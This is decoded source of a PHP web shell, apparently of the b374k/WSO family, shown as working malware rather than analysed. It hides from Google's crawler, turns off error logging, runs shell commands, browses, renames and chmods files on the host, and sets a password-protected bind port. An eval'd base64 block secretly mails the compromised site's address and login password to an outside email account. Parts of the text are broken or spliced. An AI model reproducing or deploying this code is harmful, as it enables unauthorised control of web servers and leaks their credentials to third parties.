/* Decoded by unphp.net */
$color = \"#00ff00\";
$default_action = \'FilesMan\';
@define(\'SELF_PATH\', __FILE__);
if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) {
header(\'HTTP/1.0 404 Not Found\');
exit;
}
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'html_errors\',0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0);
@ini_set(\'display_errors\', 0);
@ini_set(\'file_uploads\',1);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@define(\'VERSION\', \'2.1\');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
ON\";}else {return \"OFF\";}}
function testmysql() {if (function_exists(\'mysql_connect\')) {return showstat(\"on\");}else {return showstat(\"off\");}}
function testcurl() {if (function_exists(\'curl_version\')) {return showstat(\"on\");}else {return showstat(\"off\");}}
function testwget() {if (exe(\'wget --help\')) {return showstat(\"on\");}else {return showstat(\"off\");}}
function testperl() {if (exe(\'perl -h\')) {return showstat(\"on\");}else {return showstat(\"off\");}}
// check os
if(strtolower(substr($system,0,3)) == \"win\") $win = TRUE;
else $win = FALSE;
// change directory
if(isset($_GET[\'y\'])){
if(@is_dir($_GET[\'view\'])){
$pwd = $_GET[\'view\'];
@chdir($pwd);
}
else{
$pwd = $_GET[\'y\'];
@chdir($pwd);
}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\',$s / 1073741824 ).\' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\',$s / 1048576 ) .\' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\',$s / 1024 ) .\' KB\';
else
return $s .\' B\';
}
// username, id, shell prompt and working directory
if(!$win){
if(!$user = rapih(exe(\"whoami\"))) $user = \"\";
if(!$id = rapih(exe(\"id\"))) $id = \"\";
$prompt = $user.\" \$ \";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user.\" >\";
$pwd = realpath(\".\").\"\\";
// find drive letters
$v = explode(\"\\",$d);
$v = $v[0];
foreach (range(\"A\",\"Z\") as $letter)
{
$bool = @is_dir($letter.\":\\");
if ($bool)
{
$letters .= \"[ \";
if ($letter.\":\" != $v) {$letters .= $letter;}
else {$letters .= \"\".$letter.\"\";}
$letters .= \" ] \";
}
}
}
function testoracle() {
if (function_exists(\'ocilogon\')) { return showstat(\"on\"); }
else { return showstat(\"off\"); }
}
function testmssql() {
if (function_exists(\'mssql_connect\')) { return showstat(\"on\"); }
else { return showstat(\"off\"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get(\"disable_functions\")){ return \"\".$disablefunc.\"\"; }
else { return \"NONE\"; }
}
if(function_exists(\"posix_getpwuid\") && function_exists(\"posix_getgrgid\")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER[\"HTTP_HOST\"]);
// your ip ;-)
$my_ip = $_SERVER[\'REMOTE_ADDR\'];
$admin_id=$_SERVER[\'SERVER_ADMIN\'];
$bindport = \"13123\";
$bindport_pass = \"b374k\";
//server port
$serverport = $_SERVER[\"SERVER_PORT\"];
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = \"\";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = \"\";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= \"\".$pwds[$i].\" \".DIRECTORY_SEPARATOR.\" \";
}
// rename file or folder
if(isset($_POST[\'rename\'])){
$old = $_POST[\'oldname\'];
$new = $_POST[\'newname\'];
@rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
if(isset($_POST[\'chmod\'])){
$name = $_POST[\'name\'];
$value = $_POST[\'newvalue\'];
if (strlen($value)==3){
$value = 0 . \"\" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
if(isset($_POST[\'chmod_folder\'])){
$name = $_POST[\'name\'];
$value = $_POST[\'newvalue\'];
if (strlen($value)==3){
$value = 0 . \"\" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
// print useful info
$buff = \"Software : \".$software.\"
\";
$buff .= \"System OS : \".$system.\"
\";
if($id != \"\") $buff .= \"ID : \".$id.\"
\";
$buff .= \"PHP Version : \".phpversion().\" on \".php_sapi_name().\"
\";
$buff .= \"Server ip : \".$server_ip.\" | Server Port : \".$serverport.\" |
Your ip : \".$my_ip.\" | Admin : \".$admin_id.\"
\";
$buff .= \"Free Disk: \".\"\".convertByte(disk_free_space(\"/\")).\" / \".convertByte(disk_total_space(\"/\")).\"
\";
if($safemode) $buff .= \"Safemode: ON
\";
else $buff .= \"Safemode: OFF
\";
$buff .=\" Time On Server : \".date(\"d M Y H:i:s\",time());
$buff .= \"
Disabled Functions: \".showdisablefunctions().\"
\";
$buff .= \"MySQL: \".testmysql().\" | MSSQL: \".testmssql().\" | Oracle: \".testoracle().\" | Perl: \".testperl().\" | cURL: \".testcurl().\" | WGet: \".testwget().\"
\";
$buff .= \"\".$letters.\" > \".$pwdurl.\"\";
$injbuff = \"JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiaGFyZHdhcmVoZWF2ZW4uY29tQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==\";
eval(base64_decode($injbuff));
function rapih($text){
return trim(str_replace(\"
\",\"\",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd,$prompt){
$fname = array();
$dname = array();
if(function_exists(\"posix_getpwuid\") && function_exists(\"posix_getgrgid\")) $posix = TRUE;
else $posix = FALSE;
$user = \"????:????\";
if($dh = @scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)){
$dname[] = $file;
}
elseif(is_file($file)){
$fname[] = $file;
}
}
}
else{
if($dh = @opendir($pwd)){
while($file = @readdir($dh)){
if(@is_dir($file)){
$dname[] = $file;
}
elseif(@is_file($file)){
$fname[] = $file;
}
}
@closedir($dh);
}
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = \"\";
$buff = \"